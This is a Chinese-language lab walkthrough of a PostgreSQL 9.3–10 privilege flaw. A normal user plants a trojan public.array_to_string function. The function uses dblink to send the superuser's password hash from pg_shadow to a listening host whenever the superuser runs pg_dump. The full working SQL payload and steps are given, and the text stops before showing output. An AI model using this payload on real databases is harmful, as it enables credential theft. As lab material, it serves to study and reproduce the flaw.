前言
PostgreSQL 是一款關係型數據庫。其9.3到10版本中存在一個邏輯錯誤,導致超級用戶在不知情的情況下觸發普通用戶創建的惡意代碼,導致執行一些不可預期的操作。
漏洞環境
啓動存在漏洞的環境:
docker-compose up -d
環境啓動後,將在本地開啓PG默認的5432端口。
參考上述鏈接中的第二種利用方式,我們先通過普通用戶vulhub:vulhub的身份登錄postgres: psql --host your-ip --username vulhub
執行如下語句後退出:
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.111.129 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
然後我在192.168.111.129上監聽5433端口,等待超級用戶觸發我們留下的這個“後門”。
(假裝自己是超級用戶)在靶場機器下,用超級用戶的身份執行pg_dump命令:docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub,導出vulhub這個數據庫的內容。
執行上述命令的同時,“後門”已被觸發,10.0.0.1機器上已收到敏感信息: